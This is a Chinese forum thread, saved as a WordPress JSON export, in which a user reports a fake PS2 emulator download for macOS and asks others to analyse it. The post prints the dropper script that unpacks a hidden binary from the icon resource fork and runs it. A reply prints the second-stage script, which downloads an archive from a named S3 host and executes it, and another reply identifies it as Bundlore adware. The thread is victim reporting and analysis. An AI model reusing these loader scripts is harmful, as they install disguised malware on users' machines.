{"id":184974,"date":"2020-10-31T23:13:11","date_gmt":"2020-10-31T15:13:11","guid":{"rendered":"http:\/\/4563.org\/?p=184974"},"modified":"2020-10-31T23:13:11","modified_gmt":"2020-10-31T15:13:11","slug":"%e9%81%87%e5%88%b0%e4%ba%86%e4%b8%80%e4%b8%aa-mac-%e4%b8%8a%e7%9a%84%e6%9c%a8%e9%a9%ac%ef%bc%88%e7%96%91%e4%bc%bc%ef%bc%89%ef%bc%8c%e8%8e%b7%e5%8f%96%e5%88%b0%e4%ba%86%e4%ba%8c%e8%bf%9b%e5%88%b6","status":"publish","type":"post","link":"http:\/\/4563.org\/?p=184974","title":{"rendered":"\u9047\u5230\u4e86\u4e00\u4e2a mac \u4e0a\u7684\u6728\u9a6c\uff08\u7591\u4f3c\uff09\uff0c\u83b7\u53d6\u5230\u4e86\u4e8c\u8fdb\u5236\u6587\u4ef6\uff0c\u5927\u5bb6\u6709\u5174\u8da3\u770b\u770b\u4ed6\u505a\u4e86\u4ec0\u4e48\u5417\uff1f"},"content":{"rendered":"<div>\n<div>\n<div>\n<h1>                  \u9047\u5230\u4e86\u4e00\u4e2a mac \u4e0a\u7684\u6728\u9a6c\uff08\u7591\u4f3c\uff09\uff0c\u83b7\u53d6\u5230\u4e86\u4e8c\u8fdb\u5236\u6587\u4ef6\uff0c\u5927\u5bb6\u6709\u5174\u8da3\u770b\u770b\u4ed6\u505a\u4e86\u4ec0\u4e48\u5417\uff1f               <\/h1>\n<p> <\/p>\n<div>\n<div> <span>\u8cc7\u6df1\u5927\u4f6c : xfangs <\/span>  <span><i><\/i> 2<\/span> <\/div>\n<div> <\/div>\n<\/p><\/div>\n<\/p><\/div>\n<\/p><\/div>\n<div isfirst=\"1\"> <\/p>\n<h3>\u524d\u56e0<\/h3>\n<p>\u665a\u4e0a\u7a81\u7136\u60f3\u73a9\u4e00\u4e0b ps2 \u8001\u6e38\u620f\uff0c\u6253\u5f00\u767e\u5ea6\u641c\u7d22 ps2 \u6a21\u62df\u5668\uff0c\u7136\u540e\u5c31\u641c\u5230\u4e86\u8fd9\u4e2a\u7f51\u7ad9\uff0c\u770b\u8d77\u6765\u5f88\u6b63\u7ecf\uff0c\u8fd8\u63d0\u4f9b\u4e86\u5168\u5e73\u53f0\u7684\u8f6f\u4ef6\u4e0b\u8f7d\uff0c\u4e8e\u662f\u6211\u5c31\u4e0b\u8f7d\u4e86\u3002<\/p>\n<p>https:\/\/ps2smart.com\/download.html<\/p>\n<h3>\u6848\u4ef6\u8fdb\u884c\u4e2d<\/h3>\n<p>\u6253\u5f00 dmg \u4e4b\u540e\uff0c\u51fa\u73b0\u4e00\u4e2a\u56fe\u6807\uff0c\u6211\u4e0b\u610f\u8bc6\u5c31\u53cc\u51fb\u8fd0\u884c\u4e86\u3002\u4f46\u662f\u548c\u4e00\u822c app \u4e0d\u540c\uff0c\u53cc\u51fb\u4e4b\u540e\u4e00\u95ea\u800c\u73b0\u4e86 terminal\uff0c\u7136\u540e\u4ec0\u4e48\u90fd\u6ca1\u53d1\u751f\uff0c\u6211\u610f\u8bc6\u5230\u53ef\u80fd\u7ffb\u8f66\u4e86\u3002<\/p>\n<h3>\u76ee\u524d\u7684\u4fe1\u606f<\/h3>\n<p>\u6211\u67e5\u770b\u4e86\u4e00\u4e0b\u4f2a\u9020\u6210 app \u7684\u811a\u672c\uff0c\u5185\u5bb9\u5982\u4e0b\uff1a<\/p>\n<pre><code>#!\/bin\/bash TEMP_NAME=\"$(mktemp -t Installer)\" tail -c 8822 \"$0\/..namedfork\/rsrc\" | funzip -GsJPc &gt; \"${TEMP_NAME}\" chmod +x \"${TEMP_NAME}\" &amp;&amp; nohup \"${TEMP_NAME}\" &gt; \/dev\/null 2&gt;&amp;1 &amp; killall Terminal exit <\/code><\/pre>\n<p>\u56e0\u4e3a\u6d89\u53ca\u5230\u4e86 ..namedfork\/rsrc\uff0c\u6240\u4ee5\u6211\u8865\u5145\u4e00\u4e0b\uff0c\u8fd9\u91cc $0\/..namedfork\/rsrc \u5c31\u662f\u90a3\u4e2a\u811a\u672c\u6587\u4ef6\u7684\u56fe\u6807\u7684\u5730\u5740\uff08\u5e94\u8be5\u662f macos \u7279\u6709\u7684\u8def\u5f84\uff09\uff0c\u8fd9\u4e2a\u56fe\u6807\u6587\u4ef6\u5927\u6982 140KB \u3002<\/p>\n<p>\u6211\u7406\u89e3\u7684\u610f\u601d\u662f\u811a\u672c\u4e2d\u63d0\u53d6\u4e86\u56fe\u6807\u540e\u9762\u7ea6 8KB \u7684\u4e8c\u8fdb\u5236\u8fdb\u884c\u89e3\u538b(\u89e3\u538b\u8fc7\u540e 16KB)\uff0c\u7136\u540e\u5728\u540e\u53f0\u8fd0\u884c\u4e86\u3002<\/p>\n<p>\u9650\u4e8e\u4e2a\u4eba\u80fd\u529b\uff0c\u76ee\u524d\u8fdb\u5c55\u505c\u6b62\u5728\u4e86\u5bf9\u90a3\u4e2a\u4e8c\u8fdb\u5236\u6587\u4ef6\u53cd\u6c47\u7f16\uff0c\u4e0d\u77e5\u9053\u4ed6\u7a76\u7adf\u5728\u6211\u7684\u7535\u8111\u4e2d\u505a\u4e86\u4ec0\u4e48\uff0c\u6240\u4ee5\u975e\u5e38\u82e6\u607c\u3002\u56e0\u4e3a\u4ed6\u662f\u6ca1\u6709\u83b7\u53d6 root \u6743\u9650\u7684\uff0c\u6240\u4ee5\u6216\u8bb8\u5371\u5bb3\u4e0d\u662f\u90a3\u4e48\u5927\uff1f<\/p>\n<h3>\u603b\u7ed3<\/h3>\n<p>\u6709\u6ca1\u6709\u611f\u5174\u8da3\u7684\u5927\u4f6c\u7814\u7a76\u7814\u7a76\u5440\uff0c\u5c0f\u5f1f\u5728\u8fd9\u91cc\u5148\u884c\u611f\u8c22\u4e86\uff01<\/p>\n<h3>\u9644\u4ef6<\/h3>\n<p>\u63d0\u53d6\u5230\u7684\u4e8c\u8fdb\u5236\u6587\u4ef6\uff1a\u53ef\u8fd0\u884c\u7684\u672a\u77e5\u4e8c\u8fdb\u5236\u6587\u4ef6<\/p>\n<\/p><\/div>\n<div> <b>\u5927\u4f6c\u6709\u8a71\u8aaa<\/b> (<span>4<\/span>)        <\/div>\n<div> <\/div>\n<\/p><\/div>\n<\/p><\/div>\n<ul>\n<li data-pid=\"3992350\" data-uid=\"2\">\n<div>\n<div>\n<div> <span>\u8cc7\u6df1\u5927\u4f6c : wwhc <\/span>  <\/div>\n<div> <i title=\"\u5f15\u7528\"><\/i>  <span>          <\/span> <\/div>\n<\/p><\/div>\n<div>                                                             Avast \u62a5\u544a\u4e3a MacOS:Bundlore-FJ [Adw]<br \/>mackeeper.com\/blog\/post\/610-macos-bundlore-adware-analysis\/                                                            <\/div>\n<\/p><\/div>\n<\/li>\n<li data-pid=\"3992351\" data-uid=\"2\">\n<div>\n<div>\n<div> <span>\u4e3b<\/span> <span>\u8cc7\u6df1\u5927\u4f6c : xfangs <\/span>  <\/div>\n<div> <i title=\"\u5f15\u7528\"><\/i>  <span>          <\/span> <\/div>\n<\/p><\/div>\n<div>                                                             @wwhc \u4e07\u5206\u611f\u8c22\uff0c\u524d\u534a\u6bb5\u5012\u662f\u5f88\u50cf\uff0c\u5bf9\u6bd4\u540e\u534a\u6bb5\u4ed6\u5e76\u6ca1\u6709\u95ee\u6211\u8981 root \u5bc6\u7801\u3002<\/p>\n<p>\u8fd9\u4e2a\u4f2a\u9020\u7684\u7f51\u7ad9 2020\/10\/4 \u8fd8\u5728\u66f4\u65b0\uff0c\u8bf4\u660e\u8fd9\u7c7b\u75c5\u6bd2\u8fd8\u5728\u6301\u7eed\u66f4\u65b0\u4e2d\uff0c\u6216\u8bb8\u6709\u4e86\u65b0\u7684\u7a81\u7834\u4e5f\u8bf4\u4e0d\u5b9a\uff0c\u5e0c\u671b\u4ed6\u7684\u76ee\u7684\u53ea\u662f\u53d1\u53d1\u5e7f\u544a                                                            <\/p><\/div>\n<\/p><\/div>\n<\/li>\n<li data-pid=\"3992352\" data-uid=\"2\">\n<div>\n<div>\n<div> <span>\u8cc7\u6df1\u5927\u4f6c : mclxly <\/span>  <\/div>\n<div> <i title=\"\u5f15\u7528\"><\/i>  <span>          <\/span> <\/div>\n<\/p><\/div>\n<div>                                                             \u6211\u4e5f\u88c5\u8fc7\u4e00\u4e9b\u7f51\u7edc\u4e0b\u8f7d\u7684\u8f6f\u4ef6\uff0c\u4e0d\u6653\u5f97\u4e2d\u62db\u6ca1                                                            <\/div>\n<\/p><\/div>\n<\/li>\n<li data-pid=\"3992353\" data-uid=\"2\">\n<div>\n<div>\n<div> <span>\u8cc7\u6df1\u5927\u4f6c : lcdtyph <\/span>  <\/div>\n<div> <i title=\"\u5f15\u7528\"><\/i>  <span>          <\/span> <\/div>\n<\/p><\/div>\n<div>                                                             \u770b\u4e86\u4e00\u773c\uff0c\u8fd9\u4e2a binary \u53c8\u6267\u884c\u4e86\u4e0b\u9762\u8fd9\u4e2a shell \u811a\u672c\uff1a<\/p>\n<p>&#8220;`bash<br \/>temp_dir() { if [ -n &#8220;${TMPDIR}&#8221; ]; then echo &#8220;${TMPDIR}&#8221;; else getconf DARWIN_USER_TEMP_DIR; fi; }<br \/>where_from_url() { \/usr\/bin\/sqlite3 &#8220;${HOME}\/Library\/Preferences\/com.apple.LaunchServices.QuarantineEventsV2&#8221; &#8220;SELECT LSQuarantineDataURLString FROM LSQuarantineEvent ORDER BY LSQuarantineTimeStamp DESC LIMIT 1&#8221; 2&gt; \/dev\/null; }<br \/>extract_did() {<br \/> local -r url=&#8221;$(where_from_url)&#8221;<br \/> local query=&#8221;${url#*?}&#8221;<br \/> local did_find=0<br \/> for param in ${query\/\/[=&amp;]\/ }; do<br \/> ((did_find == 1)) &amp;&amp; echo &#8220;${param}&#8221; &amp;&amp; break<br \/> [ &#8220;${param}&#8221; == &#8220;utm_source&#8221; ] || [ &#8220;${param}&#8221; == &#8220;sidw&#8221; ] || [ &#8220;${param}&#8221; == &#8220;neo&#8221; ] &amp;&amp; did_find=1<br \/> done<br \/>}<br \/>close_terminal() { killall &#8220;Terminal&#8221;; }<br \/>download() {<br \/> local -r url=&#8221;${1}&#8221;<br \/> local -r tmp_dir=&#8221;${2}&#8221;<br \/> local -r path=&#8221;${tmp_dir}\/$(uuidgen)&#8221;<br \/> if curl -f -s -o &#8220;${path}&#8221; &#8220;${url}&#8221;; then echo &#8220;${path}&#8221;; fi<br \/>}<br \/>unarchive() {<br \/> local -r tgz_path=&#8221;${1}&#8221;<br \/> [ -z &#8220;${tgz_path}&#8221; ] &amp;&amp; return<br \/> local -r app_dir=$(\/usr\/bin\/mktemp -d &#8220;$(dirname &#8220;${tgz_path}&#8221;)\/$(uuidgen)&#8221;)<br \/> if tar -xzf &#8220;${tgz_path}&#8221; -C &#8220;${app_dir}&#8221;; then echo &#8220;${app_dir}&#8221;; fi<br \/> rm -rf &#8220;${tgz_path}&#8221;<br \/>}<br \/>app_path() {<br \/> local -r app_dir=&#8221;${1}&#8221;<br \/> [ -z &#8220;${app_dir}&#8221; ] &amp;&amp; return<br \/> local -r app_paths=(&#8220;${app_dir}&#8221;\/?*.app)<br \/> local -r app_path=&#8221;${app_paths[0]}&#8221;<br \/> [ -d &#8220;${app_path}&#8221; ] &amp;&amp; echo &#8220;${app_path}&#8221;<br \/>}<br \/>bin_path() {<br \/> local -r app_path=&#8221;${1}&#8221;<br \/> [ -z &#8220;${app_path}&#8221; ] &amp;&amp; return<br \/> local -r binary_paths=(&#8220;${app_path}\/Contents\/MacOS&#8221;\/?*)<br \/> local -r binary_path=&#8221;${binary_paths[0]}&#8221;<br \/> echo &#8220;${binary_path}&#8221;<br \/>}<br \/>exec_bin() {<br \/> local -r bin_path=&#8221;${1}&#8221;<br \/> local -r did=&#8221;${2}&#8221;<br \/> local -r app_path=&#8221;${3}&#8221;<br \/> [ -z &#8220;${bin_path}&#8221; ] &amp;&amp; return<br \/> &#8220;${bin_path}&#8221; -did &#8220;${did}&#8221;<br \/>}<\/p>\n<p>main() {<br \/> local -r url=&#8221;${1}&#8221;<br \/> close_terminal<br \/> local -r did=&#8221;$(extract_did)&#8221;<br \/> [ -z &#8220;${did}&#8221; ] &amp;&amp; return<br \/> local -r tmp_dir=&#8221;$(\/usr\/bin\/mktemp -d &#8220;$(temp_dir)$(uuidgen)&#8221;)&#8221;<br \/> local -r arch_path=&#8221;$(download &#8220;${url}&#8221; &#8220;${tmp_dir}&#8221;)&#8221;<br \/> local -r app_dir=&#8221;$(unarchive &#8220;${arch_path}&#8221;)&#8221;<br \/> local -r app_path=&#8221;$(app_path &#8220;${app_dir}&#8221;)&#8221;<br \/> local -r bin_path=&#8221;$(bin_path &#8220;${app_path}&#8221;)&#8221;<br \/> exec_bin &#8220;${bin_path}&#8221; &#8220;${did}&#8221; &#8220;${app_path}&#8221;<br \/> rm -rf &#8220;${tmp_dir}&#8221;<br \/>}<\/p>\n<p>main &#8220;https:\/\/ywdd6wfq.s3.amazonaws.com\/Installer.app.tgz&#8221; &amp;<br \/>&#8220;`<\/p>\n<p>\u4f1a\u4ece ywdd6wfq.s3.amazonaws.com\/Installer.app.tgz \u8fd9\u4e2a\u7f51\u5740\u4e0b\u8f7d\u4e2a\u771f\u6b63\u7684 binary \u7136\u540e\u6267\u884c                                                            <\/p><\/div>\n<\/p><\/div>\n<\/li>\n<li>\n","protected":false},"excerpt":{"rendered":"<p>\u9047\u5230\u4e86\u4e00\u4e2a mac \u4e0a\u7684\u6728\u9a6c\uff08\u7591\u4f3c&hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":[],"categories":[],"tags":[],"_links":{"self":[{"href":"http:\/\/4563.org\/index.php?rest_route=\/wp\/v2\/posts\/184974"}],"collection":[{"href":"http:\/\/4563.org\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/4563.org\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/4563.org\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/4563.org\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=184974"}],"version-history":[{"count":0,"href":"http:\/\/4563.org\/index.php?rest_route=\/wp\/v2\/posts\/184974\/revisions"}],"wp:attachment":[{"href":"http:\/\/4563.org\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=184974"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/4563.org\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=184974"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/4563.org\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=184974"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}